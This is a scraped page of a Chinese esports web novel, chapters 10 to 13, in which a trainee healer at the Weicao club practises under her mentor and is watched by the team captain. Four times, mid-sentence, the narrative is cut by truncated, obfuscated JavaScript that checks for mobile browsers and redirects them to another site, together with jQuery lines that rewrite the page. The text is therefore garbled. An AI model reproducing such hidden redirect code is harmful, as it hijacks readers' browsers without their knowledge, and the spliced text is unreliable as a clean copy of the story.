d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029048|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 某种微妙变化。 “妹子,左边那两只交给你了!” “小心那边刷新!妹子退半步!” “这个技能我来抗,妹子你给我个恢复就行!” “输出漂亮!妹子控得好!” 夏轻禾倒是没太在意称呼的变化,专注于眼前的战斗和熟悉云帆的操作。她发现,在实战中,自己之前加点的那些“非主流”技能,比如惩戒之击的眩晕,正义之锤的补刀和仇恨微调,甚至壁垒在应对小怪普攻连击时的格挡提升,都发挥了不错的效果。当然,核心的圣盾术、圣光打、坚定意志这些传统防御技能更是基石。 她的打法也越来越大胆。有时候甚至会主动用挑衅去拉远处的小怪聚拢,方便队友用AOE技能清理。或者在BOSS战中,利用自己高防御和圣盾术,故意吃下一些非致命的范围技能,为队友争取更好的输出位置。 横刀从最初的惊讶,到后来的欣赏,再到几乎有点崇拜了。 “妹子,你这守护天使玩得真有想法!又稳又凶!你是不是哪个公会的主力T啊?或者……职业选手的小号?”打完二号BOSS,休息恢复的时候,横刀忍不住问。 “不是啦,就是随便玩玩。”夏轻禾含糊道。她可不想暴露自己是微草训练营的,更别提是方士谦的徒弟了。 “随便玩玩都这样……让我们这些专业的情何以堪啊!”横刀哀叹,但语气里还是高兴居多,“今天真是抱到大腿了!妹子,加个好友呗?以后有机会再一起下本?咱们固定队正好缺个你这样的治疗T!” 夏轻禾想了想,这个横刀指挥不错,队友也还行,一起打本效率挺高,便答应了:“好啊。” 互相加了好友,队伍继续向最终BOSS进发。 整个副本打完,收获颇丰,经验值涨了一截,还分到了几件自己能用的不错装备。退出副本后,横刀又热情地邀请她去打另一个副本,夏轻禾看了看时间,婉拒了。 “今天先到这里吧,我还有事。”她说。 “行!妹子下次上线叫我啊!随时有空!”横刀显得意犹未尽。 结束了和临时队友的互动,夏轻禾退回到游戏主城。她长长地舒了口气,活动了一下有些僵硬的手指。第一次用云帆进行实战,感觉比预想中还要好。守护天使这个职业,确实给她打开了一扇新的大门。 她心情愉快地退出游戏,拔下账号卡,小心地收好。一转头,发现方士谦不知何时已经处理完了他的事情,正靠在椅背上,手里转着一支笔,似笑非笑地看着她。 “副本打完了?感觉如何?”方士谦问。 “挺好的!”夏轻禾立刻汇报,“方副队,守护天使用起来真的不一样!能扛能奶还能控,站在前面的感觉特别踏实!我今天还试着用惩戒之击打断小怪技能,用正义之锤补刀拉仇恨,感觉效果都不错!” “嗯,看来你加点加得挺合自己心意。”方士谦点点头,“不过,副本小怪和低级BOSS,跟职业赛场上的对手是两回事。你现在觉得能扛,是因为对手的攻击强度和节奏还没上来。真正的压力测试,还在后面。” “我知道。”夏轻禾认真点头,“我会继续练的。” “有自信是好事。”方士谦笑了笑,站起身,“今天先到这里吧。回去记得把今天副本里,你觉得自己处理得好的地方和不足的地方都记下来。尤其是面对BOSS技能时的选择,为什么用圣盾术挡那次喷毒,为什么用圣光打接扫尾,而不是躲开,这些决策背后的思路要理清楚。” “是!”夏轻禾也站起来,收拾东西。 走出训练室,夏日的夕阳将走廊染成一片温暖的橙色。夏轻禾回头看了一眼紧闭的训练室门,心里充满了对明天的期待。 她脚步轻快地走向俱乐部大门,脑子里已经开始盘算晚上要整理的笔记内容,以及明天该怎么进一步“压榨”云帆这个新账号的潜力了。 11. 第 11 章 夏休期的尾巴上,微草俱乐部不再像之前那样空旷得能听见回音。走廊里开始出现行李箱滑轮滚动的声音,宿舍区晚上亮起的窗口也多了起来。空气里多了些人气,也多了些赛季临近前特有的、隐隐的躁动。 这天上午,夏轻禾照例早早来到训练室。方士谦还没到,她先登录了自己的牧师账号轻舟已过,对着训练软件进行每日必做的基础操作练习——移动施法、转身视角切换、不同距离下的技能预判落点。屏幕上的虚拟光标随着她的操作飞快移动,技能光效精准地绽放在设定的目标区域。 练了大约半小时,训练室的门被推开。夏轻禾以为是方士谦,头也没抬地喊了声“方副队早”,手指依旧在键盘上敲击。 门口的人没应声,只是走了进来,脚步沉稳。 夏轻禾觉得有点不对劲,抬眼一看,手里的操作差点变形。走进来的不是方士谦,而是微草的队长,王杰希。 王杰希穿着简单的队服外套,手里拿着一叠似乎是资料的文件,神情平静。他走进训练室,目光习惯性地扫视了一圈,最后落在了唯一在训练的夏轻禾身上。 “队长早!”夏轻禾连忙停下操作,从椅子上站起来,声音因为意外而稍微提高了一点。 “早。”王杰希点点头,声音不高,但清晰。他走到夏轻禾旁边不远的位置,将文件放在一张空桌子上,然后拉开椅子坐下,目光重新投向夏轻禾的电脑屏幕。“继续训练,不用管我。” “……是。”夏轻禾有点紧张地坐回去,深吸一口气,努力把注意力拉回眼前的训练软件上。但队长的存在感实在太强了,即使他什么都没做,只是安静地坐在那里,也像一块磁石,不断吸引着她的注意力。 她能感觉到王杰希的目光偶尔会扫过她的屏幕,观察着她的操作。这种被队长“巡视”的感觉,比平时被方士谦盯着训练压力大了不止一倍。她甚至能听到自己心跳加快的声音。 手指下的操作不自觉地变得更加用力,更加规范,仿佛想在队长面前表现出最好的状态。一个原本应该飘逸侧滑接神圣之火预判封锁走位的动作,因为紧张和刻意,做得有些僵硬,神圣之火放的位置也稍微偏了一点。 夏轻禾心里咯噔一下,偷偷用余光瞟了王杰希一眼。王杰希脸上没什么特别的表情,只是目光在屏幕上那个偏离了最佳位置的神圣之火上多停留了半秒。 就在这时,训练室的门再次被推开,方士谦拿着两杯豆浆走了进来。他看到王杰希,愣了一下,随即笑道:“哟,队长这么早?不是说明天才正式归队吗?” “提前回来看看。”王杰希站起身,走到方士谦身边,两人低声交谈了几句。夏轻禾竖起耳朵,也只隐约听到“训练营”、“进度”、“那个小姑娘”几个零碎的词。 她不敢再分心,强迫自己专注于眼前的训练,把一套牧师基础的控场连招练习做完。但心里像揣了只兔子,七上八下。队长和副队在说什么?是在说她吗?队长对她这段时间的训练怎么看? 过了一会儿,王杰希和方士谦的简短交谈似乎结束了。王杰希拿起桌上的文件,又看了夏轻禾这边一眼,对方士谦点了点头,说了句“你看着安排”,便转身离开了训练室。 直到队长的背影消失在门口,夏轻禾才长长地舒了口气,感觉后背都有点出汗了。 “至于吗?吓成这样?”方士谦走过来,把一杯豆浆放在她桌上,自己拉过椅子坐下,吸了一口另一杯,“队长又不会吃了你。” “那可是队长啊……”夏轻禾小声嘟囔,拿起豆浆喝了一口,温热的液体让她稍微放松了一些,“他刚才看我训练了!方副队,队长说什么了?是不是觉得我练得不行?” 方士谦看了她一眼,有点好笑:“怎么,平时被我盯着骂都没见你这么慌,队长看一眼就怂了?” “那能一样吗……”夏轻禾嘀咕,“您是老师,骂我是为我好。队长……那是终极BOSS级别的审视啊!” “行了,别贫。”方士谦摇摇头,正色道,“队长确实问了你最近的情况。我简单说了说你的进步和想法。队长没多说什么,只是说‘方向可以,注意基础融合’,算是默许了你目前的培养路线。” “真的?”夏轻禾眼睛一亮,刚才的紧张顿时被巨大的喜悦冲淡了不少。被队长默许了!这意味着她这条有点“离经叛道”的路,至少在微草高层看来,是有价值、值得尝试的! “别高兴太早。”方士谦适时泼了盆冷水,“默许不等于认可,更不等于成功。只是给了你一个继续尝试的机会。能不能抓住,能不能真的走出点名堂,还得看你自己。” “我知道!”夏轻禾用力点头,握着豆浆杯子的手指收紧,“我一定会努力的!” “嗯。”方士谦看着她重新燃起斗志的样子,语气缓和了些,“刚才队长在,我看你训练有点紧。现在放松点,把你最近练的,关于牧师和守护天使在小型遭遇战中的技能切换思路,模拟一遍给我看看。” “好!”夏轻禾立刻放下豆浆,切换了训练软件的场景。这是一个模拟的街巷地图,适合三到五人的小规模战斗。 她先以牧师轻舟已过进入场景,面对几个从不同方向刷新出来的模拟敌人。她熟练地运用走位保持距离,用神圣之火封锁路径,用升天阵干扰近战,用圣戒之光补伤害,同时兼顾给虚拟队友刷血。操作流畅,节奏分明,看得出来基础确实扎实了不少。 然后,她退出,换守护天使云帆进入同样的场景。风格立刻变了。云帆直接顶到了虚拟队友前方,用挑衅拉住仇恨,开启坚定意志硬吃伤害,用惩戒之击打晕试图绕后的敌人,用正义之锤配合普通攻击建立稳固仇恨,同时用恢复术和生命激活维持自身血线。虽然移动速度慢,但步步为营,稳如磐石,为身后的虚拟队友创造了完美的输出环境。 方士谦安静地看着,不时在手里的笔记本上记录着什么。 两套模拟打完,夏轻禾期待地看着方士谦。 “单从个人操作和应对思路来看,进步很明显。”方士谦先给予肯定,“对两个职业的特点把握更准了,技能衔接也熟练了不少。尤其是守护天使,你已经初步找到了那种‘站在前面’的节奏感。” 夏轻禾脸上露出笑容。 “但是,”方士谦话锋一转,用笔尖点了点屏幕,“问题也很明显。你太专注于‘自己’这一环了。” “啊?”夏轻禾没太明白。 “你看,”方士谦调出刚才她使用牧师时的部分录像,放慢速度,“这里,你的虚拟队友魔道学者走位过于靠前,暴露在了对方两个远程的火力下。你的第一反应是给他刷血,这没错。但你没注意到,当时你的另一个虚拟队友剑客,已经绕到了对方侧翼,正准备发动突袭。如果你当时能分一点点注意力给全局,用一个光之束缚稍微限制一下对方那个正在吟唱范围技能的术士,或者提前给剑客挂一个圣盾,都能让他的突袭更安全,效果更好。” 他又调出守护天使的录像:“这里也是。你拉着三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029049|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个怪,打得很稳。但你完全没管你的虚拟队友元素法师被一个潜行的刺客骚扰。虽然那个刺客AI伤害不高,但持续干扰会极大影响元素法师的输出。你当时如果稍微调整一下站位,或者用一个惩戒之击的溅射效果波及一下那个刺客的位置,都能帮队友缓解压力。但你眼里好像只有你面前的三个怪。” 夏轻禾看着录像,听着方士谦的分析,脸上的笑容渐渐消失了,取而代之的是沉思和一点懊恼。她仔细回想,当时自己的注意力确实完全集中在自己的操作、自己的技能循环、自己面对的目标上。队友的情况,她只是余光扫到血条低了就加一口,更多细节确实忽略了。 “我……我以为我注意队友血线就可以了……”她小声说。 “治疗,尤其是想要在团队中扮演更主动角色的治疗,不能只当血条显示器。”方士谦语气严肃了些,“你需要观察的,是全局。队友的走位意图,对手的技能前摇和攻击目标,战场重心的转移……然后,在你力所能及的范围内,用你的技能去配合、去铺垫、去保护,而不仅仅是事后补救。” 他关掉录像,看向夏轻禾:“你的个人节奏感建立起来了,这是好事。但你现在的问题,是节奏有点‘独’。你的节奏,还没有和团队的节奏融合在一起。有时候,你需要为了配合队友的爆发而提前交出关键技能;有时候,你需要为了掩护队友的转移而放弃最佳的自身输出或控制位置。这些牺牲和调整,是团队竞技的一部分,也是高水平治疗的必修课。” 夏轻禾认真听着,把这些话一字一句记在心里。她之前更多思考的是如何用牧师或者守护天使打出自己的东西,如何更“秀”。方士谦现在指出的,是她思维上的一个盲区——再“秀”的个人操作,如果不能服务于团队,不能与队友产生化学反应,其价值就会大打折扣。 “我明白了,方副队。”她郑重地说,“是我太想着自己怎么打了,忽略了和队友的联动。” “意识到就是改进的开始。”方士谦合上笔记本,“接下来的训练,我会加入更多需要你与队友进行配合的内容。你要开始有意识地培养自己的‘团队视野’,不仅仅是看血条,要看站位,看技能,看意图。” “是!”夏轻禾挺直腰板。 “好了,上午先到这里。”方士谦站起身,“下午开始,进行双人配合基础训练。你用云帆,我用个输出小号。你先试着在保证自己生存和完成基础治疗的前提下,观察我的攻击节奏和走位习惯,尝试用你的控制技能来配合我的输出时机。” “明白!” 方士谦离开后,夏轻禾没有立刻退出游戏。她坐在电脑前,回想着刚才方士谦指出的问题,又回想起队长王杰希那平静却极具分量的目光。 压力确实更大了。队长默许的方向,副队长指出的更高要求,都像无形的鞭子,催促着她必须更快地成长。 但与此同时,一种更清晰的动力也在她心中升起。她不再仅仅是为了“证明自己可以不一样”而训练,更是为了有一天,能真正以“微草的治疗”身份,站在赛场上,用她的方式,为团队赢得胜利。 她重新打开训练软件,没有选择复杂的场景,而是调出了一个最简单的、有两个虚拟队友的防守图。这一次,她的目光不再仅仅锁定在敌人和自己的技能栏上,而是开始有意识地、笨拙地,尝试同时关注屏幕上更多的地方。 窗外的阳光,透过百叶窗,在训练室的地板上投下明亮的光斑,也映亮了少女专注而坚定的侧脸。 12. 第 12 章 午后的神之领域,阳光透过虚拟天空的云层,给广袤的练级区镀上一层暖洋洋的金色。但这片宁静很快被打破,世界频道刷过一条系统公告:70级野图BOSS熔岩巨人在火山地带刷新。 中草堂公会频道立刻热闹起来,各团开始集结。夏轻禾自然也在其中,操作着她的守护天使云帆,跟着大部队向火山地带进发。方士谦的牧师小号茯苓也在队伍里,依旧站在一个不显眼却视野开阔的位置。 “注意站位,火山地带地面有灼烧区域,持续掉血,治疗看好自己和小队成员血线。”公会指挥的声音在团队频道响起,“T组准备接BOSS,输出组听令集火,治疗组分散站位,避免被BOSS的范围AOE一锅端。” 夏轻禾打起精神。她今天的目标不仅仅是完成治疗任务,更要时刻牢记方士谦昨天指出的问题——扩大视野,注意配合。她刻意调整了自己的站位,让自己既能覆盖到前排的主T和几个副T,又能观察到侧翼输出职业的情况。 战斗很快打响。熔岩巨人庞大的身躯在岩浆池中站起,挥舞着燃烧的岩石拳头,每一次砸地都带起一片灼热的岩浆喷溅和范围伤害。场面一度有些混乱,各大公会的团队混杂在一起,既要输出BOSS,又要提防对手下黑手,还要躲避环境伤害。 夏轻禾全神贯注。圣盾术留着应对BOSS的岩浆喷发大招,平时就用坚定意志和生命激活硬抗溅射伤害,恢复术的光芒时不时落在血量危险的队友身上。她的目光快速在团队面板和小地图之间切换,努力捕捉着每一个需要治疗的信号。 就在这时,她注意到茯苓身边不远处,多了一个ID叫当归的魔道学者。这个魔道学者装备看起来不错,但走位……有点怪。他并没有像大多数远程输出那样站在相对安全的靠后位置,而是随着战局的推进,不时骑着扫把进行一些短距离的、看似随意却总能恰到好处避开危险区域的低空飞行,攻击节奏也不紧不慢,但每次技能丢出去都能打在关键位置。 夏轻禾只是瞥了一眼,没太在意。网游里高手多了,可能又是一个喜欢秀操作的魔道玩家吧。她继续专注于自己的治疗。 方士谦自然也看到了那个当归。他操控着茯苓,一个精准的神圣之火丢出去,沉默了一个试图偷袭中草堂侧翼的霸气雄图元素法师,眼角余光却扫过那个魔道学者,挑了下眉。他当然认出来了,那是王杰希用小号上来“视察”了,想亲眼看看他这个副队长口中有潜力又需要打磨的小徒弟,在实战中的表现。 王队既然想看看,那就让他看呗。方士谦没有提醒夏轻禾,甚至有意无意地,将茯苓的站位调整得离当归稍微远了一点,将照顾那个飘忽魔道学者的任务,更多地留给了夏轻禾。 战斗进入白热化阶段,BOSS血量下降,开始频繁召唤小型的熔岩元素,并释放大范围持续掉血的岩浆领域,治疗压力陡然增大。 夏轻禾更加忙碌。她操作着云帆,十字架挥舞,恢复术的光芒不断亮起。然而,几次下来,她发现了一个让她有点抓狂的问题,那个叫当归的魔道学者,她的治疗术怎么都丢不到他身上! 不是距离不够,也不是技能在冷却。而是每当她觉得当归有点掉血,准备给他套个恢复术或者读个小治疗时,那个魔道学者总会恰好一个微小的、灵巧到诡异的侧向位移,或者刚好飞到她技能释放路径上的一块凸起岩石后面,让她的治疗光芒擦身而过,落在空处。 一次是巧合,两次是意外,三次四次……夏轻禾开始觉得不对劲了。她甚至尝试预判当归的走位,提前读条,结果当归仿佛能预知她的想法一样,在她技能即将出手的瞬间,又换了个方向。 她眼睁睁看着当归的血量在一波小范围AOE后掉到半血以下,自己一个治疗术读条完毕,光芒飞出,当归一个Z字抖动,扫把尾焰划出漂亮的弧线,精准地让治疗光球落在了他刚才悬浮的位置,而他自己则丝血未加。 夏轻禾:“……” 她感觉自己的治疗尊严受到了挑衅! 偏偏这个时候,旁边的方士谦总是能恰好补上这个缺口。一个瞬发的小治疗,或者一个恢复术,总能在当归看似险之又险的走位间隙,稳稳地落在他身上,将他的血量抬回安全线。 一次两次,夏轻禾还能忍。次数多了,她心里那股不服输的劲儿就上来了。什么意思?这个当归是故意躲我治疗吗?还是我技术太差跟不上他的节奏?她开始更加专注地盯紧当归,预判他的每一个飞行轨迹,技能捏在手里,寻找最刁钻的释放角度。 结果……更郁闷了。她越是认真,越是发现那个魔道学者的走位简直反治疗!那不是普通的躲避技能或者寻找输出位置,那是一种近乎本能的、对自身周围安全区域和威胁来源的极致掌控。他总能在最密集的技能光效和人群缝隙中,找到一条让治疗难以锁定的路径。 夏轻禾不信邪,那个魔道学者就像一条滑不留手的鱼,在她的治疗网里自由穿梭,偏偏还总能打出可观的输出。 与此同时,方士谦操控的茯苓,则稳如磐石,治疗如同经过精确计算,不仅稳稳兜住了包括当归在内的几个高难度队友,还兼顾着团队整体的血线,甚至有空用神圣之火帮忙控场。 这场BOSS战对夏轻禾来说,简直成了一场关于治疗命中率的噩梦挑战。她大部分精力都耗在了和那个诡异魔道学者的斗智斗勇上,虽然靠着扎实的基本功和云帆的强悍属性,没有让团队出现治疗真空,但那种“明明很努力却总差一点”的憋屈感,让她无比烦躁。 而在这场混战中,除了夏轻禾和那个当归,还有另一个人引起了王杰希的注意。 剑客的混战区域,一个ID叫飞刀剑的剑客,手速快得惊人。他的操作带着一种锐利而急躁的气息,常常以超出常规的速度完成连招,在蓝溪阁的玩家里杀进杀出,虽然偶尔会因为过于追求速度而露出破绽,但那份爆发力和侵略性非常突出,短短时间内就收割了好几个人头。 而在另一侧的刺客交锋区,一个ID灰月的刺客,则呈现出另一种风格。他并不显眼,很少主动冲在最前,但走位极其谨慎稳健,总是在最恰当的时机出现在最需要的位置,或是补上关键的一刀完成击杀,或是用技能掩护队友撤退,存在感不强,但每次出手都颇有价值。 王杰希一边操作着当归进行着他那“艺术”般的飞行和输出,一边将飞刀剑和灰月这两个ID默默记在了心里。手速出色的剑客,意识不错的刺客……微草训练营,看来这一批新人里,有点意思的苗子不止夏轻禾一个。 战斗在各大公会的激烈争夺中落下帷幕。中草堂凭借整体实力和几次关键集火,成功抢到了熔岩巨人的归属。团队频道里一片欢呼,开始热热闹闹地分材料。 夏轻禾却有点高兴不起来。她退出游戏,拔下云帆的账号卡,整个人蔫蔫地靠在椅背上,看着屏幕上分材料的信息刷屏,脑子里还在回放刚才怎么也奶不上当归的憋屈画面。 “怎么了?抢到BOSS还不高兴?”方士谦的声音在旁边响起,带着点笑意。 夏轻禾转过头,苦着脸:“方副队……我今天是不是特别菜?我感觉我的治疗就跟瞎子似的,有个魔道学者我怎么都奶不到!他是不是故意的啊?” 她没好意思说,要不是方士谦兜底,那个魔道学者可能早就因为她“治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029050|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疗失准”而躺地板了。 方士谦忍俊不禁,摇摇头:“不是你的问题,至少不全是。那个魔道学者……走位比较特别。你不用太放在心上,这种级别的移动靶,现阶段跟不上很正常。记住这种感觉,对你以后应对高机动性队友或对手有好处。” “特别?何止是特别,简直变态!”夏轻禾小声抱怨,“哪有魔道学者那样飞的?跟个没头苍蝇似的……呃,我不是说苍蝇,就是……太飘忽了!” 方士谦笑了笑安慰她,没再多解释王杰希小号的事,只是说:“荣耀里什么样的玩家都有,多见见是好事。走吧,今天训练先到这里。” 回到家里,夏轻禾还是有点耿耿于怀。吃晚饭的时候,她忍不住跟姐姐夏茗吐槽起来。 “姐,你说现在网游里的人都在想什么啊?”夏轻禾戳着碗里的米饭,语气郁闷,“我今天抢BOSS,遇到一个魔道学者,那走位,我的天,我的治疗术就没一个能稳稳砸在他身上的!怎么预判都没用,他总能刚好错开!我都怀疑他开了躲治疗外挂!” 夏茗正在喝汤,闻言抬起头,推了推眼镜,脸上露出感兴趣的神色:“哦?走位这么风骚的魔道?怎么个飞法?” “就……乱飞!”夏轻禾比划着,“不是那种有规律的飞,也不是单纯躲技能。感觉他好像能算到所有技能的落点和弹道,还有队友的站位,总能找到最别扭、最让人难受的位置呆着。我要给他加血,得费老大劲,还不一定能加上。偏偏方副队就能加上……气死我了!” 夏茗听着妹妹的描述,若有所思,随即轻笑出声:“听起来,这魔道学者对空间和时机的把握很不一般啊。这种级别的意识,放职业圈里也不多见。” 她顿了顿,看着妹妹气鼓鼓的脸,忽然调侃道:“哎,你们微草的那个王杰希,他不也是玩魔道学者的吗?他的魔术师打法,不也是出了名的乱飞,让对手和队友都头疼?” 夏轻禾愣了一下,随即把头摇得像拨浪鼓:“那哪能一样啊!队长那是魔术师!是艺术!他那叫战术性不可预测飞行!是为了打乱对手节奏,创造机会!虽然……虽然有时候可能也有点让治疗头疼啦……”她声音小了下去,想起训练营里流传的关于王队打法让早期队友包括方士谦都很难适应的传闻。 但她马上又挺起胸,一脸认真地为自家队长正名:“但是队长那是为了胜利!是有深意的!跟网游里那个故意躲我治疗的家伙性质完全不同!再说了,队长要是想让我加血,我肯定能加上!” 这话她说得有点底气不足,但气势不能输。 夏茗看着妹妹那副“我队长天下第一无敌”的维护模样,忍不住笑得更开心了:“行行行,你们队长最厉害,是艺术,不是乱飞。那你加油练,早日练到能轻松奶上你们队长那种‘艺术飞行’的水平。” “那是必须的!”夏轻禾握拳,暂时把对当归的怨念抛到了脑后,又燃起了熊熊斗志。她可是要继承冬虫夏草的人!怎么能被一个网游里的神秘魔道学者打击到?练!往死里练!总有一天,不管什么妖魔鬼怪的走位,她都能稳稳奶上! 看着妹妹重新充满活力的样子,夏茗笑着摇摇头,继续吃饭。心里却想着,王杰希那家伙,看来是亲自跑去网游里考察新人去了?还把小轻禾郁闷成这样……嗯,有点意思。 夜色渐深,夏轻禾回到房间,打开电脑,却没有立刻登录游戏。她调出了今天战斗的录像,找到那个叫当归的魔道学者的片段,一遍又一遍地回放,仔细观察他的每一个飞行轨迹和技能释放时机。 “躲治疗是吧……我倒要看看,你能躲到什么程度。”少女盯着屏幕,眼睛里闪烁着不服输的光芒。 13. 第 13 章 微草俱乐部顶层的队长办公室,窗户半开着,傍晚的风吹进来,带着点夏末初秋的微凉。办公桌上的电脑屏幕暗着,旁边的烟灰缸干干净净。 王杰希坐在办公桌后,手里拿着一份打印出来的训练营近期评估报告,目光落在上面,手指无意识地轻轻敲击着桌面。 方士谦坐在对面的沙发上,手里端着杯热水,神情放松。 “昨天抢BOSS,”王杰希抬起头,看向方士谦,“除了夏轻禾,还有几个苗子不错。” 方士谦点点头:“我也注意到了。剑客那边那个叫飞刀剑的,手速很快,就是打法有点急,节奏控制上欠点火候。” “刘小别。”王杰希说出了ID对应的名字,“训练营那边反应,他个人技术考核成绩很突出,尤其是手速测试,破了近两年的记录。但团队协作和战术理解评分一般。” “典型的锐气十足,也有傲气,需要打磨。”方士谦点评道,“不过这种有突出天赋的,打磨好了就是利器。” “还有这个刺客,灰月。”王杰希继续道,“操作很稳,意识不错,补位和时机把握很好。缺点是缺乏侵略性,过于求稳,有时候会错过机会。” “乔一帆啊。”方士谦对这个名字印象更深些,毕竟是夏轻禾经常挂在嘴边的青梅竹马,“那孩子性格就那样,踏实努力,但确实不够自信。技术底子不错,如果能把胆子练大点,未来可期。” 王杰希“嗯”了一声,将报告翻过一页,目光停留在某个名字上,停顿的时间稍长了一些。 “还有一个人,”他开口道,语气比之前更慎重了些,“魔道学者,ID木恩。训练营里一直有在关注,操作细节和意识在同龄人里很突出,尤其在技能衔接和空间想象力上,有不错的潜力。” 方士谦挑了下眉,随即恍然,脸上露出一丝调侃的笑意:“木恩……高英杰?队长,你这是在给自己物色接班人了?是不是有点太早了?你这魔术师打法,放眼联盟都找不出第二个,现在就想培养继承者,难度可不小。” 王杰希的表情没什么变化,只是目光沉静地看着报告上那个名字。“不早。”他的声音平稳而肯定,“英杰这孩子,我观察他有一段时间了。技术上确实有可塑性,但他的性格……太内向了,缺乏自信,甚至有些怯场。这样的性格,如果现在不开始有意识地引导和锻炼,等到真要把他推到台前的时候,压力会把他压垮。” 他顿了顿,继续说:“一个选手的成长,不仅仅是技术。心理、性格、抗压能力,同样重要。像他这样内向敏感的孩子,更需要从现在开始,一点一点地帮他建立自信,适应环境,明白自己未来要承担什么。而不是等到某一天,突然把担子压在他身上。” 方士谦收起玩笑的神色,认真地点了点头。他明白王杰希的意思。作为队长,王杰希看重的不仅仅是选手眼前的技术,更是长远的、全面的发展潜力,以及为战队未来所做的未雨绸缪。寻找和培养继承人,对于微草这样志在长远的豪门战队来说,确实是一项重要且需要早早布局的战略。 “明白了。”方士谦说,“那你打算怎么做?直接给他加练?还是安排进二队感受气氛?” “循序渐进吧。”王杰希合上报告,“先从增加一些一对一的指导开始,让他慢慢习惯和我交流。训练内容上,可以适当增加一些需要他独立决策和承担压力的环节。另外……”他想了想,“也可以创造一些机会,让他多和其他性格开朗、有活力的队员接触,比如夏轻禾那样的,或许能带动他一下。” 方士谦笑了:“说到夏轻禾,那丫头昨天可是被你的小号郁闷得不轻,回去还跟我抱怨呢。” 王杰希嘴角似乎弯了一下,很快又恢复平直:“让她经历一下也好。治疗跟不上高机动性目标,是她迟早要面对的问题。挫折教育,有时比顺风顺水更能让人记住。” 两人又就训练营其他几个有潜力新人的安排简单交换了意见。窗外的天色渐渐暗了下来,办公室里的灯光显得愈发柔和。 同一天的傍晚,夏轻禾没有去俱乐部。因为方士谦提前跟她说了,今天他和王队有些事情要讨论,让她在家自主练习,完成既定的训练计划就行。 对着电脑练了一下午,从基础操作到战术模拟,夏轻禾感觉手指都有点发僵,眼睛也有些酸涩。她保存好训练记录,关掉电脑,伸了个大大的懒腰,骨头发出咔哒的轻响。 “练完了?”夏茗从书房探出头,“正好,我也忙完了。走,带你去小吃街转转,放松一下,顺便解决晚饭。” “好耶!”夏轻禾立刻从椅子上弹起来,脸上的疲惫一扫而空,眼睛亮晶晶的。训练很重要,但美食和放风同样不可辜负! 姐妹俩简单收拾了一下就出了门。夏末的傍晚,暑气未完全消退,但晚风吹在身上已经带上了舒适的凉意。她们家离著名的B市小吃街不算太远,步行二十多分钟就到了。 还没走近,各种食物混杂的香气就扑面而来,人声鼎沸,灯火通明。烤串的焦香、卤煮的浓郁、糖炒栗子的甜腻、还有炸灌肠、爆肚、豆汁儿焦圈……各种熟悉的味道勾得人食指大动。 夏轻禾像只快乐的小鸟,拉着夏茗在各个摊位前流连,手里很快拿上了烤得滋滋冒油的羊肉串和一份撒了香菜和辣椒油的爆肚。 “慢点吃,没人跟你抢。”夏茗看着妹妹吃得腮帮子鼓鼓的样子,忍不住笑。 两人边走边吃,正盘算着下一站是去排豆汁儿还是试试新开的一家杏仁豆腐,夏轻禾眼尖,忽然在熙熙攘攘的人群中看到了一个熟悉的身影。 “一帆?”她喊了一声,踮起脚挥手。 不远处,乔一帆正站在一个卖糖葫芦的摊子前,似乎在犹豫选哪种口味。听到喊声,他转过头,看到夏轻禾和夏茗,脸上立刻露出惊喜的笑容。 “轻禾姐!夏茗姐!”他快步走过来,手里还拿着刚买的一串山楂糖葫芦。在他身后,还跟着一个看起来和他年纪相仿的少年。那少年身形清瘦,穿着简单的T恤和长裤,低着头,似乎有些拘谨,看到夏轻禾她们看过来,下意识地往乔一帆身后缩了缩。 “好巧啊!你们也来逛小吃街?”夏轻禾高兴地说,目光好奇地落在乔一帆身后的少年身上,“这位是?” 乔一帆侧过身,热情地介绍:“轻禾姐,夏茗姐,这是我训练营新认识的朋友,高英杰。他玩魔道学者的,可厉害了!” 他语气里带着真诚的佩服。 然后又对高英杰说:“英杰,这是夏轻禾,我跟你提过的,很厉害的牧师和守护天使玩家,也是训练营的。这是她姐姐夏茗姐。” 高英杰这才抬起头,飞快地看了夏轻禾和夏茗一眼,又迅速低下头,声音很小但很清晰地说:“你、你们好。我是高英杰。” 他的耳朵尖有点红,显然不太习惯这种陌生人社交场合。 “你好呀,英杰!”夏轻禾倒是很自然,笑着打招呼,“一帆的朋友就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029051|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 